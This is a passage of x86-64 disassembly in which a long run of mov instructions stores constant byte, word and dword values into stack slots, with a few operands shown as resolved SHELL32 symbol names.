mov dword [rsp + 0x8ecc], 0x36c0
mov dword [rsp + 0x8ed0], 0x2d2
mov dword [rsp + 0x8ed4], 0x7b0f
mov dword [rsp + 0x8ed8], 0x4ddf
mov dword [rsp + 0x8edc], 0xfc53
mov dword [rsp + 0x8ee0], 0x2834
mov eax, 0x664
mov word [rsp + 0x1e98], ax
mov dword [rsp + 0x8ee4], 0x581d
mov dword [rsp + 0x8ee8], 0x2e5
mov dword [rsp + 0x8eec], 0x6cfc
mov byte [rsp + 0x1ce], 0x34
mov eax, 0x2d6
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x8ef0], 0x3598
mov eax, 0x783
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x8ef4], 0x9758
mov dword [rsp + 0x8ef8], 0x1f1d
mov dword [rsp + 0x8efc], 0x3d3
mov eax, 0xf96
mov word [rsp + 0x1ea4], ax
mov dword [rsp + 0x8f00], 0x24fc
mov byte [rsp + 0x1cf], 0xae
mov eax, 0x7d7
mov word [rsp + 0x1ea8], ax
mov dword [rsp + 0x8f04], 0x14a9
mov dword [rsp + 0x8f08], 0x5d88
mov dword [rsp + 0x8f0c], 0x6f34
mov eax, 0x33f
mov word [rsp + 0x1eac], ax
mov dword [rsp + 0x8f10], 0x2bba
mov eax, 0x7fc
mov word [rsp + 0x1eb0], ax
mov byte [rsp + 0x1d0], 0x21
mov dword [rsp + 0x8f14], 0x7537
mov eax, 0x27a
mov word [rsp + 0x1eb4], ax
mov eax, 0x3b3
mov word [rsp + 0x1eb8], ax
mov dword [rsp + 0x8f18], 0x1b7c
mov eax, 0x43
mov word [rsp + 0x1ebc], ax
mov byte [rsp + 0x1d1], 0x27
mov eax, 0x811
mov word [rsp + 0x1ec0], ax
mov dword [rsp + 0x8f1c], 0x4d08
mov eax, 0xa50
mov word [rsp + 0x1ec4], ax
mov eax, 0x7ba
mov word [rsp + 0x1ec8], ax
mov dword [rsp + 0x8f20], 0xc264
mov dword [rsp + 0x8f24], 0x5d97
mov byte [rsp + 0x1d2], 0x39
mov dword [rsp + 0x8f28], 0xbe41
mov dword [rsp + 0x8f2c], 0x5371
mov dword [rsp + 0x8f30], 0x10c
mov dword [rsp + 0x8f34], 0xa52
mov dword [rsp + 0x8f38], 0x7651
mov eax, 0xdc4
mov word [rsp + 0x1ecc], ax
mov dword [rsp + 0x8f3c], 0x7050
mov dword [rsp + 0x8f40], 0x6b72
mov dword [rsp + 0x8f44], 0x149f
mov dword [rsp + 0x8f48], 0x1088
mov dword [rsp + 0x8f4c], 0x6bfc
mov dword [rsp + 0x8f50], 0xf2ea
mov dword [rsp + 0x8f54], 0x586f
mov byte [rsp + 0x1d3], 0x3b
mov byte [rsp + 0x1d4], 0xe2
mov dword [rsp + 0x8f58], 0x2178
mov byte [rsp + 0x1d5], 0xbe
mov byte [rsp + 0x1d6], 0x6a
mov dword [rsp + 0x8f5c], 0xf7
mov byte [rsp + 0x1d7], 0xf5
mov dword [rsp + 0x8f60], 0x662b
mov byte [rsp + 0x1d8], 0xa
mov eax, 0xb09
mov word [rsp + 0x1ed0], ax
mov eax, 0x257
mov word [rsp + 0x1ed4], ax
mov byte [rsp + 0x1d9], 0xb0
mov eax, 0x5b0
mov word [rsp + 0x1ed8], ax
mov dword [rsp + 0x8f64], 0x7275
mov eax, 0x308
mov word [rsp + 0x1edc], ax
mov eax, 0xff9
mov word [rsp + 0x1ee0], ax
mov byte [rsp + 0x1da], ILIsParent
mov dword [rsp + 0x8f68], 0x5a8d
mov dword [rsp + 0x8f6c], 0x5aab
mov dword [rsp + 0x8f70], 0x53ef
mov dword [rsp + 0x8f74], 0x561a
mov eax, 0x78c
mov word [rsp + 0x1ee4], ax
mov dword [rsp + 0x8f78], 0x5e73
mov dword [rsp + 0x8f7c], 0x1eb5
mov dword [rsp + 0x8f80], 0xd859
mov dword [rsp + 0x8f84], 0x3e26
mov byte [rsp + 0x1db], 1
mov eax, 0x624
mov word [rsp + 0x1ee8], ax
mov dword [rsp + 0x8f88], 0x6416
mov dword [rsp + 0x8f8c], 0x6323
mov eax, 0xdd5
mov word [rsp + 0x1eec], ax
mov byte [rsp + 0x1dc], 0xae
mov byte [rsp + 0x1dd], 0x92
mov dword [rsp + 0x8f90], 0x5b51
mov byte [rsp + 0x1de], 0xeb
mov dword [rsp + 0x8f94], 0x7e1b
mov dword [rsp + 0x8f98], 0x7bc9
mov eax, 0x6cd
mov word [rsp + 0x1ef0], ax
mov dword [rsp + 0x8f9c], 0x14b8
mov eax, 0x7b9
mov word [rsp + 0x1ef4], ax
mov byte [rsp + 0x1df], 0x9e
mov byte [rsp + 0x1e0], 0x27
mov dword [rsp + 0x8fa0], 0x4f0b
mov dword [rsp + 0x8fa4], 0x1bd5
mov eax, 0x110
mov word [rsp + 0x1ef8], ax
mov dword [rsp + 0x8fa8], 0x5d16
mov eax, 0xcff
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x8fac], 0x7bc8
mov byte [rsp + 0x1e1], 0x66
mov dword [rsp + 0x8fb0], 0xa0b
mov dword [rsp + 0x8fb4], 0xe4ff
mov eax, 0x8bd
mov word [rsp + 0x1f00], ax
mov byte [rsp + 0x1e2], 0x38
mov dword [rsp + 0x8fb8], 0xa03
mov dword [rsp + 0x8fbc], 0x22b0
mov dword [rsp + 0x8fc0], 0x1a4d
mov byte [rsp + 0x1e3], 0x5b
mov dword [rsp + 0x8fc4], 0x5ccf
mov byte [rsp + 0x1e4], 0x6a
mov dword [rsp + 0x8fc8], 0x3791
mov eax, 0x51e
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x8fcc], 0x5fdf
mov byte [rsp + 0x1e5], 0x4f
mov dword [rsp + 0x8fd0], 0x696b
mov dword [rsp + 0x8fd4], 0x43c8
mov dword [rsp + 0x8fd8], 0x2ab1
mov dword [rsp + 0x8fdc], 0x7a8f
mov byte [rsp + 0x1e6], ILSaveToStream
mov dword [rsp + 0x8fe0], 0x7716
mov byte [rsp + 0x1e7], 0x50
mov dword [rsp + 0x8fe4], 0xd3d
mov eax, 0xd49
mov word [rsp + 0x1f08], ax
mov eax, 0x8ef
mov word [rsp + 0x1f0c], ax
mov byte [rsp + 0x1e8], 0x8d
mov byte [rsp + 0x1e9], 0x63
mov byte [rsp + 0x1ea], 0xca
mov dword [rsp + 0x8fe8], 0xd97e
mov dword [rsp + 0x8fec], 0x1202
mov byte [rsp + 0x1eb], 0xad
mov byte [rsp + 0x1ec], 0x22
mov dword [rsp + 0x8ff0], 0xb30c
mov eax, 0xb2d
mov word [rsp + 0x1f10], ax
mov dword [rsp + 0x8ff4], 0x27fa
mov byte [rsp + 0x1ed], 0x7b
mov eax, 0x21
mov word [rsp + 0x1f14], ax
mov dword [rsp + 0x8ff8], 0x733f
mov dword [rsp + 0x8ffc], 0x7923
mov eax, 0xef5
mov word [rsp + 0x1f18], ax
mov dword [rsp + 0x9000], 0xbc0
mov eax, 0xe9d
mov word [rsp + 0x1f1c], ax
mov dword [rsp + 0x9004], 0x3764
mov dword [rsp + 0x9008], 0x368e
mov byte [rsp + 0x1ee], 0x66
mov eax, 0x664
mov word [rsp + 0x1f20], ax
mov dword [rsp + 0x900c], 0x41f3
mov dword [rsp + 0x9010], 0x35ee
mov dword [rsp + 0x9014], 0x7279
mov eax, 0x595
mov word [rsp + 0x1f24], ax
mov dword [rsp + 0x9018], 0xc11
mov dword [rsp + 0x901c], 0xdb7f
mov dword [rsp + 0x9020], 0x6282
mov dword [rsp + 0x9024], 0x51b1
mov dword [rsp + 0x9028], 0x79a
mov dword [rsp + 0x902c], 0x2630
mov dword [rsp + 0x9030], 0xb794
mov eax, 0x786
mov word [rsp + 0x1f28], ax
mov dword [rsp + 0x9034], 0x25ca
mov dword [rsp + 0x9038], 0x7cb9
mov eax, 0x687
mov word [rsp + 0x1f2c], ax
mov dword [rsp + 0x903c], 0x94f7
mov dword [rsp + 0x9040], 0x48f
mov dword [rsp + 0x9044], 0x663c
mov dword [rsp + 0x9048], 0x4cbd
mov dword [rsp + 0x904c], 0x3cf8
mov eax, 0x95b
mov word [rsp + 0x1f30], ax
mov byte [rsp + 0x1ef], 4
mov byte [rsp + 0x1f0], 0xe7
mov dword [rsp + 0x9050], 0x31cf
mov dword [rsp + 0x9054], 0x3c3e
mov eax, 0x783
mov word [rsp + 0x1f34], ax
mov eax, 0xccc
mov word [rsp + 0x1f38], ax
mov dword [rsp + 0x9058], 0x80f8
mov dword [rsp + 0x905c], 0x42a3
mov dword [rsp + 0x9060], 0x20d8
mov dword [rsp + 0x9064], 0x6d9e
mov dword [rsp + 0x9068], 0x7305
mov byte [rsp + 0x1f1], 0x29
mov eax, 0x7b5
mov word [rsp + 0x1f3c], ax
mov dword [rsp + 0x906c], 0x46c
mov byte [rsp + 0x1f2], 0x45
mov dword [rsp + 0x9070], 0x6c44
mov dword [rsp + 0x9074], 0x2230
mov byte [rsp + 0x1f3], 0x98
mov dword [rsp + 0x9078], 0x3f09
mov byte [rsp + 0x1f4], ILFindChild
mov dword [rsp + 0x907c], 0x31cf
mov dword [rsp + 0x9080], 0x577f
mov eax, 0x986
mov word [rsp + 0x1f40], ax
mov dword [rsp + 0x9084], 0x56d8
mov dword [rsp + 0x9088], 0x42c7
mov dword [rsp + 0x908c], 0x133b
mov dword [rsp + 0x9090], 0x10cf
mov dword [rsp + 0x9094], 0x6aec
mov dword [rsp + 0x9098], 0x74e
mov eax, 0xade
mov word [rsp + 0x1f44], ax
mov eax, 0xe66
mov word [rsp + 0x1f48], ax
mov dword [rsp + 0x909c], 0x1ec8
mov dword [rsp + 0x90a0], 0x7e82
mov byte [rsp + 0x1f5], 0xc3
mov dword [rsp + 0x90a4], 0x4ee3
mov dword [rsp + 0x90a8], 0x6b8
mov byte [rsp + 0x1f6], 0xb
mov dword [rsp + 0x90ac], 0x53b9
mov eax, 0xf7b
mov word [rsp + 0x1f4c], ax
mov dword [rsp + 0x90b0], 0x6740
mov byte [rsp + 0x1f7], 0x79
mov dword [rsp + 0x90b4], 0x16f9
mov dword [rsp + 0x90b8], 0x50e7
mov dword [rsp + 0x90bc], 0x6445
mov byte [rsp + 0x1f8], 0xd4
mov dword [rsp + 0x90c0], 0xbca
mov byte [rsp + 0x1f9], 0x32
mov dword [rsp + 0x90c4], 0x1d45
mov eax, 0x908
mov word [rsp + 0x1f50], ax
mov byte [rsp + 0x1fa], 0xd0
mov byte [rsp + 0x1fb], 0x6c
mov byte [rsp + 0x1fc], 0x3b
mov eax, 0x7ad
mov word [rsp + 0x1f54], ax
mov eax, 0x349
mov word [rsp + 0x1f58], ax
mov dword [rsp + 0x90c8], 0x6c8c
mov byte [rsp + 0x1fd], 0xc3
mov dword [rsp + 0x90cc], 0x662a
mov dword [rsp + 0x90d0], 0x19fc
mov dword [rsp + 0x90d4], 0x6108
mov dword [rsp + 0x90d8], 0x85f7
mov byte [rsp + 0x1fe], 0x55
mov dword [rsp + 0x90dc], 0x64ff
mov dword [rsp + 0x90e0], 0xe661
mov eax, 0x11b
mov word [rsp + 0x1f5c], ax
mov dword [rsp + 0x90e4], 0x6af8
mov dword [rsp + 0x90e8], 0x47df
mov eax, 0xcf9
mov word [rsp + 0x1f60], ax
mov byte [rsp + 0x1ff], 0x22
mov eax, 0x7d3
mov word [rsp + 0x1f64], ax
mov byte [rsp + 0x200], 0xac
mov dword [rsp + 0x90ec], 0x3905
mov byte [rsp + 0x201], 0x61
mov dword [rsp + 0x90f0], 0x62ad
mov dword [rsp + 0x90f4], 0x3d22
mov eax, 0x8e8
mov word [rsp + 0x1f68], ax
mov dword [rsp + 0x90f8], 0x4c1c
mov byte [rsp + 0x202], 0x30
mov dword [rsp + 0x90fc], 0x4c1b
mov byte [rsp + 0x203], 0x9f
mov dword [rsp + 0x9100], 0xee2b
mov eax, 0x58e
mov word [rsp + 0x1f6c], ax
mov eax, 0x1c2
mov word [rsp + 0x1f70], ax
mov eax, 0x92
mov word [rsp + 0x1f74], ax
mov eax, 0x7bc
mov word [rsp + 0x1f78], ax
mov eax, 0xf42
mov word [rsp + 0x1f7c], ax
mov dword [rsp + 0x9104], 0x4073
mov byte [rsp + 0x204], 3
mov dword [rsp + 0x9108], 0x6e
mov eax, 0x671
mov word [rsp + 0x1f80], ax
mov dword [rsp + 0x910c], 0xa1d5
mov byte [rsp + 0x205], 0x2c
mov dword [rsp + 0x9110], 0x1969
mov dword [rsp + 0x9114], 0xa7db
mov dword [rsp + 0x9118], 0xc67a
mov dword [rsp + 0x911c], 0x18f3
mov dword [rsp + 0x9120], 0x47e
mov dword [rsp + 0x9124], 0x2ef0
mov eax, 0xb8d
mov word [rsp + 0x1f84], ax
mov dword [rsp + 0x9128], 0x798e
mov byte [rsp + 0x206], 0x4a
mov dword [rsp + 0x912c], 0x41d8
mov byte [rsp + 0x207], 0x8a
mov eax, 0x74e
mov word [rsp + 0x1f88], ax
mov byte [rsp + 0x208], 0x58
mov dword [rsp + 0x9130], 0xedb
mov byte [rsp + 0x209], 0x70
mov dword [rsp + 0x9134], 0x73e8
mov byte [rsp + 0x20a], 0x5a
mov dword [rsp + 0x9138], 0x102f
mov byte [rsp + 0x20b], 0x57
mov eax, 0x618
mov word [rsp + 0x1f8c], ax
mov dword [rsp + 0x913c], 0x823a
mov dword [rsp + 0x9140], 0x2bce
mov dword [rsp + 0x9144], 0x4ec5
mov eax, 0x3bc
mov word [rsp + 0x1f90], ax
mov dword [rsp + 0x9148], 0x567c
mov dword [rsp + 0x914c], 0xb54a
mov eax, 0xffd
mov word [rsp + 0x1f94], ax
mov byte [rsp + 0x20c], 0x57
mov dword [rsp + 0x9150], 0x56f0
mov eax, 0xbab
mov word [rsp + 0x1f98], ax
mov eax, 0x43d
mov word [rsp + 0x1f9c], ax
mov dword [rsp + 0x9154], 0xa46e
mov dword [rsp + 0x9158], 0x596a
mov eax, 0xa37
mov word [rsp + 0x1fa0], ax
mov dword [rsp + 0x915c], 0x435b
mov dword [rsp + 0x9160], 0x8cc
mov dword [rsp + 0x9164], 0x6a1f
mov dword [rsp + 0x9168], 0x412d
mov byte [rsp + 0x20d], 0
mov dword [rsp + 0x916c], 0x2f5d
mov dword [rsp + 0x9170], 0x2718
mov byte [rsp + 0x20e], 0x8d
mov dword [rsp + 0x9174], 0x5371
mov eax, 0x68b
mov word [rsp + 0x1fa4], ax
mov dword [rsp + 0x9178], 0x6612
mov eax, 0x4c3
mov word [rsp + 0x1fa8], ax
mov dword [rsp + 0x917c], 0xd839
mov dword [rsp + 0x9180], 0x6973
mov dword [rsp + 0x9184], 0x696
mov dword [rsp + 0x9188], 0x22af
mov byte [rsp + 0x20f], 0x59
mov dword [rsp + 0x918c], 0x2955
mov eax, 0x716
mov word [rsp + 0x1fac], ax
mov byte [rsp + 0x210], ILIsParent
mov dword [rsp + 0x9190], 0x4e30
mov dword [rsp + 0x9194], 0x7957
mov dword [rsp + 0x9198], 0x12fe
mov dword [rsp + 0x919c], 0x60a2
mov byte [rsp + 0x211], 0x28
mov byte [rsp + 0x212], 0x5c
mov dword [rsp + 0x91a0], 0xd1b
mov dword [rsp + 0x91a4], 0x73ff
mov dword [rsp + 0x91a8], 0x5801
mov eax, 0xc
mov word [rsp + 0x1fb0], ax
mov dword [rsp + 0x91ac], 0x1d80
mov dword [rsp + 0x91b0], 0x18a1
mov eax, 0xcbf
mov word [rsp + 0x1fb4], ax
mov byte [rsp + 0x213], 0x28
mov byte [rsp + 0x214], 0x37
mov dword [rsp + 0x91b4], 0xb4a5
mov byte [rsp + 0x215], 0x30
mov dword [rsp + 0x91b8], 0x5a1d
mov dword [rsp + 0x91bc], 0x6285
mov dword [rsp + 0x91c0], 0x2483
mov eax, 0x333
mov word [rsp + 0x1fb8], ax
mov byte [rsp + 0x216], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x91c4], 0x3b97
mov eax, 0x505
mov word [rsp + 0x1fbc], ax
mov eax, 0xb7c
mov word [rsp + 0x1fc0], ax
mov dword [rsp + 0x91c8], 0x61e2
mov byte [rsp + 0x217], 9
mov dword [rsp + 0x91cc], 0x20ee
mov dword [rsp + 0x91d0], 0xbf36
mov eax, 0x1aa
mov word [rsp + 0x1fc4], ax
mov dword [rsp + 0x91d4], 0x2914
mov dword [rsp + 0x91d8], 0x595d
mov byte [rsp + 0x218], 0xfb
mov dword [rsp + 0x91dc], 0x724d
mov dword [rsp + 0x91e0], 0x1764
mov eax, 0x45a
mov word [rsp + 0x1fc8], ax
mov byte [rsp + 0x219], 0x4f
mov dword [rsp + 0x91e4], 0x2b98
mov byte [rsp + 0x21a], 0xb1
mov byte [rsp + 0x21b], 0x77
mov dword [rsp + 0x91e8], 0x28de
mov byte [rsp + 0x21c], 0x1d
mov eax, 0x8e7
mov word [rsp + 0x1fcc], ax
mov dword [rsp + 0x91ec], 0x4f44
mov dword [rsp + 0x91f0], 0x5eb1
mov byte [rsp + 0x21d], 0x4c
mov eax, 0x7ca
mov word [rsp + 0x1fd0], ax
mov eax, 0x113
mov word [rsp + 0x1fd4], ax
mov dword [rsp + 0x91f4], 0x2a96
mov dword [rsp + 0x91f8], 0x2c40
mov eax, 0x43
mov word [rsp + 0x1fd8], ax
mov dword [rsp + 0x91fc], 0x3b19
mov eax, 0x3f0
mov word [rsp + 0x1fdc], ax
mov dword [rsp + 0x9200], 0x3580
mov byte [rsp + 0x21e], 0x24
mov dword [rsp + 0x9204], 0x1ed2
mov dword [rsp + 0x9208], 0x9792
mov byte [rsp + 0x21f], 0x47
mov eax, 0xb74
mov word [rsp + 0x1fe0], ax
mov dword [rsp + 0x920c], 0x7f04
mov dword [rsp + 0x9210], 0x16dc
mov eax, 0xe3f
mov word [rsp + 0x1fe4], ax
mov byte [rsp + 0x220], 0x38
mov eax, 0x4c6
mov word [rsp + 0x1fe8], ax
mov eax, 0x77e
mov word [rsp + 0x1fec], ax
mov dword [rsp + 0x9214], 0x45b1
mov dword [rsp + 0x9218], 0x529a
mov dword [rsp + 0x921c], 0x2d05
mov dword [rsp + 0x9220], 0xe0b8
mov dword [rsp + 0x9224], 0x3d39
mov dword [rsp + 0x9228], 0x1c8c
mov dword [rsp + 0x922c], 0x2950
mov byte [rsp + 0x221], 0x59
mov eax, 0x3ef
mov word [rsp + 0x1ff0], ax
mov dword [rsp + 0x9230], 0x6e63
mov dword [rsp + 0x9234], 0xc48
mov eax, 0x6f6
mov word [rsp + 0x1ff4], ax
mov dword [rsp + 0x9238], 0x51ad
mov eax, 0x3c6
mov word [rsp + 0x1ff8], ax
mov dword [rsp + 0x923c], 0x67be
mov eax, 0xa1a
mov word [rsp + 0x1ffc], ax
mov byte [rsp + 0x222], 0x55
mov dword [rsp + 0x9240], 0x4701
mov eax, 0x796
mov word [rsp + 0x2000], ax
mov dword [rsp + 0x9244], 0x4e13
mov byte [rsp + 0x223], 0xab
mov byte [rsp + 0x224], 0x84
mov byte [rsp + 0x225], 5
mov dword [rsp + 0x9248], 0x749f
mov dword [rsp + 0x924c], 0x5ccd
mov dword [rsp + 0x9250], 0x3fa5
mov byte [rsp + 0x226], 0xbe
mov dword [rsp + 0x9254], 0x2c02
mov dword [rsp + 0x9258], 0xfef9
mov byte [rsp + 0x227], 0x4d
mov byte [rsp + 0x228], 0xc
mov dword [rsp + 0x925c], 0x42df
mov dword [rsp + 0x9260], 0x7d54
mov dword [rsp + 0x9264], 0x58d1
mov dword [rsp + 0x9268], 0x5b5c
mov dword [rsp + 0x926c], 0xfd0
mov dword [rsp + 0x9270], 0x939c
mov byte [rsp + 0x229], 0x81
mov dword [rsp + 0x9274], 0x84b8
mov eax, 0x414
mov word [rsp + 0x2004], ax
mov eax, 0xffc
mov word [rsp + 0x2008], ax
mov eax, 0x7ba
mov word [rsp + 0x200c], ax
mov eax, 0xdb5
mov word [rsp + 0x2010], ax
mov dword [rsp + 0x9278], 0xeb6b
mov dword [rsp + 0x927c], 0x72f2
mov eax, 0xeb2
mov word [rsp + 0x2014], ax
mov eax, 0x4d5
mov word [rsp + 0x2018], ax
mov dword [rsp + 0x9280], 0x5324
mov dword [rsp + 0x9284], 0xc19f
mov dword [rsp + 0x9288], 0x7c39
mov dword [rsp + 0x928c], 0x6c1f
mov dword [rsp + 0x9290], 0x2ea9
mov dword [rsp + 0x9294], 0x67f6
mov dword [rsp + 0x9298], 0x4b2e
mov eax, 0x1e
mov word [rsp + 0x201c], ax
mov eax, 0xae
mov word [rsp + 0x2020], ax
mov eax, 0x105
mov word [rsp + 0x2024], ax
mov dword [rsp + 0x929c], 0x4327
mov byte [rsp + 0x22a], 0x7c
mov dword [rsp + 0x92a0], 0xacba
mov dword [rsp + 0x92a4], 0x4a2e
mov dword [rsp + 0x92a8], 0xb57a
mov dword [rsp + 0x92ac], 0xf247
mov byte [rsp + 0x22b], 0x5c
mov dword [rsp + 0x92b0], 0x57bf
mov dword [rsp + 0x92b4], 0x7b49
mov dword [rsp + 0x92b8], 0x28c2
mov dword [rsp + 0x92bc], 0x4945
mov dword [rsp + 0x92c0], 0x68f7
mov dword [rsp + 0x92c4], 0x5a55
mov eax, 0x138
mov word [rsp + 0x2028], ax
mov eax, 0xcb4
mov word [rsp + 0x202c], ax
mov eax, 0xb4e
mov word [rsp + 0x2030], ax
mov dword [rsp + 0x92c8], 0x549d
mov dword [rsp + 0x92cc], 0xcda7
mov dword [rsp + 0x92d0], 0xf21e
mov dword [rsp + 0x92d4], 0x39f2
mov dword [rsp + 0x92d8], 0x3f90
mov byte [rsp + 0x22c], 0xb2
mov dword [rsp + 0x92dc], 0xa39
mov eax, 0x509
mov word [rsp + 0x2034], ax
mov eax, 0x517
mov word [rsp + 0x2038], ax
mov eax, 0xa66
mov word [rsp + 0x203c], ax
mov eax, 0xa3c
mov word [rsp + 0x2040], ax
mov eax, 0x483
mov word [rsp + 0x2044], ax
mov eax, 0x4ae
mov word [rsp + 0x2048], ax
mov dword [rsp + 0x92e0], 0xcac5
mov byte [rsp + 0x22d], 0xe
mov dword [rsp + 0x92e4], 0x7d48
mov eax, 0x7d5
mov word [rsp + 0x204c], ax
mov byte [rsp + 0x22e], 0x58
mov dword [rsp + 0x92e8], 0x5042
mov dword [rsp + 0x92ec], 0x25f8
mov eax, 0x385
mov word [rsp + 0x2050], ax
mov eax, 0xb93
mov word [rsp + 0x2054], ax
mov dword [rsp + 0x92f0], 0x461b
mov eax, 0xc19
mov word [rsp + 0x2058], ax
mov dword [rsp + 0x92f4], 0x2623
mov eax, 0x10b
mov word [rsp + 0x205c], ax
mov eax, 0xec5
mov word [rsp + 0x2060], ax
mov eax, 0xf4f
mov word [rsp + 0x2064], ax
mov eax, 0x3de
mov word [rsp + 0x2068], ax
mov dword [rsp + 0x92f8], 0x1194
mov eax, 0xfb5
mov word [rsp + 0x206c], ax
mov eax, 0x8f0
mov word [rsp + 0x2070], ax
mov eax, 0xe3f
mov word [rsp + 0x2074], ax
mov dword [rsp + 0x92fc], 0x5669
mov byte [rsp + 0x22f], 0x97
mov dword [rsp + 0x9300], 0x2bed
mov dword [rsp + 0x9304], 0x514a
mov dword [rsp + 0x9308], 0x12b6
mov byte [rsp + 0x230], 0xe8
mov dword [rsp + 0x930c], 0x7984
mov dword [rsp + 0x9310], 0x65be
mov dword [rsp + 0x9314], 0xe4d3
mov dword [rsp + 0x9318], 0x288c
mov dword [rsp + 0x931c], 0x9c56
mov byte [rsp + 0x231], 1
mov dword [rsp + 0x9320], 0x3b68
mov dword [rsp + 0x9324], 0x63d4
mov eax, 0x56f
mov word [rsp + 0x2078], ax
mov dword [rsp + 0x9328], 0x9d69
mov dword [rsp + 0x932c], 0x1d23
mov eax, 0x604
mov word [rsp + 0x207c], ax
mov dword [rsp + 0x9330], 0xfd2b
mov eax, 0x2e8
mov word [rsp + 0x2080], ax
mov byte [rsp + 0x232], 0x2c
mov dword [rsp + 0x9334], 0x419c
mov eax, 0xbc1
mov word [rsp + 0x2084], ax
mov dword [rsp + 0x9338], 0x53e
mov eax, 0xcd0
mov word [rsp + 0x2088], ax
mov byte [rsp + 0x233], 0x77
mov dword [rsp + 0x933c], 0x382e
mov dword [rsp + 0x9340], 0x498f
mov byte [rsp + 0x234], 0x5c
mov dword [rsp + 0x9344], 0xe916
mov byte [rsp + 0x235], 0x60
mov dword [rsp + 0x9348], 0x5180
mov eax, 0x1d
mov word [rsp + 0x208c], ax
mov dword [rsp + 0x934c], 0xac64
mov eax, 0x69
mov word [rsp + 0x2090], ax
mov dword [rsp + 0x9350], 0x580b
mov dword [rsp + 0x9354], 0x43e2
mov dword [rsp + 0x9358], 0x9df7
mov eax, 0x9e
mov word [rsp + 0x2094], ax
mov dword [rsp + 0x935c], 0x2d11
mov dword [rsp + 0x9360], 0x5702
mov byte [rsp + 0x236], 0x78
mov dword [rsp + 0x9364], 0x46d0
mov dword [rsp + 0x9368], 0x1122
mov dword [rsp + 0x936c], 0x6404
mov byte [rsp + 0x237], 0xf9
mov dword [rsp + 0x9370], 0xc45b
mov dword [rsp + 0x9374], 0x5d7f
mov dword [rsp + 0x9378], 0x6161
mov dword [rsp + 0x937c], 0x77f5
mov dword [rsp + 0x9380], 0x7c1
mov eax, 0x258
mov word [rsp + 0x2098], ax
mov dword [rsp + 0x9384], 0x271
mov byte [rsp + 0x238], 0xc3
mov dword [rsp + 0x9388], 0xdab
mov dword [rsp + 0x938c], 0x2e5a
mov dword [rsp + 0x9390], 0x40d1
mov dword [rsp + 0x9394], 0x3ad1
mov dword [rsp + 0x9398], 0x67fe
mov dword [rsp + 0x939c], 0x13a0
mov byte [rsp + 0x239], 0xa7
mov dword [rsp + 0x93a0], 0xc523
mov byte [rsp + 0x23a], 0x51
mov dword [rsp + 0x93a4], 0xe0f6
mov eax, 0x303
mov word [rsp + 0x209c], ax
mov byte [rsp + 0x23b], 0x25
mov eax, 0x7aa
mov word [rsp + 0x20a0], ax
mov eax, 0x897
mov word [rsp + 0x20a4], ax
mov dword [rsp + 0x93a8], 0x7aa9
mov dword [rsp + 0x93ac], 0x9f82
mov dword [rsp + 0x93b0], 0x6520
mov dword [rsp + 0x93b4], 0xd47f
mov eax, 0xf55
mov word [rsp + 0x20a8], ax
mov eax, 0x81b
mov word [rsp + 0x20ac], ax
mov dword [rsp + 0x93b8], 0x3bfb
mov byte [rsp + 0x23c], 0x68
mov dword [rsp + 0x93bc], 0x1e1
mov dword [rsp + 0x93c0], 0x1fdc
mov byte [rsp + 0x23d], 0x4d
mov dword [rsp + 0x93c4], 0x67b5
mov eax, 0xb66
mov word [rsp + 0x20b0], ax
mov dword [rsp + 0x93c8], 0x142c
mov dword [rsp + 0x93cc], 0x5195
mov byte [rsp + 0x23e], 0x70
mov dword [rsp + 0x93d0], 0x91a8
mov byte [rsp + 0x23f], 0xbb
mov eax, 0xa96
mov word [rsp + 0x20b4], ax
mov byte [rsp + 0x240], 0xc9
mov byte [rsp + 0x241], 0x8b
mov byte [rsp + 0x242], 0x58
mov byte [rsp + 0x243], 2
mov dword [rsp + 0x93d4], 0xafe9
mov eax, 0x751
mov word [rsp + 0x20b8], ax
mov eax, 0xe53
mov word [rsp + 0x20bc], ax
mov dword [rsp + 0x93d8], 0x766a
mov dword [rsp + 0x93dc], 0x179e
mov dword [rsp + 0x93e0], 0x41ef
mov dword [rsp + 0x93e4], 0x7543
mov dword [rsp + 0x93e8], 0xb21a
mov byte [rsp + 0x244], 0xba
mov dword [rsp + 0x93ec], 0x5569
mov eax, 0xb30
mov word [rsp + 0x20c0], ax
mov dword [rsp + 0x93f0], 0x46e2
mov eax, 0x69e
mov word [rsp + 0x20c4], ax
mov dword [rsp + 0x93f4], 0x546f
mov eax, 0x33a
mov word [rsp + 0x20c8], ax
mov dword [rsp + 0x93f8], 0xd8
mov eax, 0x74c
mov word [rsp + 0x20cc], ax
mov byte [rsp + 0x245], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x93fc], 0xe3c8
mov dword [rsp + 0x9400], 0x5d2f
mov dword [rsp + 0x9404], 0x454e
mov dword [rsp + 0x9408], 0xe012
mov eax, 0xca2
mov word [rsp + 0x20d0], ax
mov byte [rsp + 0x246], 0xc8
mov dword [rsp + 0x940c], 0xac
mov dword [rsp + 0x9410], 0x20ba
mov dword [rsp + 0x9414], 0xfd0
mov dword [rsp + 0x9418], 0x11df
mov dword [rsp + 0x941c], 0x3b1a
mov eax, 0xde6
mov word [rsp + 0x20d4], ax
mov dword [rsp + 0x9420], 0xe937
mov byte [rsp + 0x247], 0x45
mov byte [rsp + 0x248], 0x75
mov dword [rsp + 0x9424], 0xff62
mov byte [rsp + 0x249], 0x83
mov dword [rsp + 0x9428], 0x2c2c
mov eax, 0x1e0
mov word [rsp + 0x20d8], ax
mov byte [rsp + 0x24a], 0xed
mov dword [rsp + 0x942c], 0x425f
mov dword [rsp + 0x9430], 0xdfb9
mov byte [rsp + 0x24b], 0xdf
mov dword [rsp + 0x9434], 0x5752
mov dword [rsp + 0x9438], 0x751f
mov dword [rsp + 0x943c], 0xf617
mov dword [rsp + 0x9440], 0x6a75
mov eax, 0x63c
mov word [rsp + 0x20dc], ax
mov dword [rsp + 0x9444], 0x1744
mov dword [rsp + 0x9448], 0x5d8e
mov byte [rsp + 0x24c], 0x60
mov eax, 0xc81
mov word [rsp + 0x20e0], ax
mov dword [rsp + 0x944c], 0x4be6
mov dword [rsp + 0x9450], 0x413a
mov dword [rsp + 0x9454], 0x688c
mov dword [rsp + 0x9458], 0x2eaa
mov byte [rsp + 0x24d], 6
mov dword [rsp + 0x945c], 0x29c6
mov dword [rsp + 0x9460], 0x7bd9
mov dword [rsp + 0x9464], 0x3d28
mov eax, 0x91d
mov word [rsp + 0x20e4], ax
mov dword [rsp + 0x9468], 0x8d52
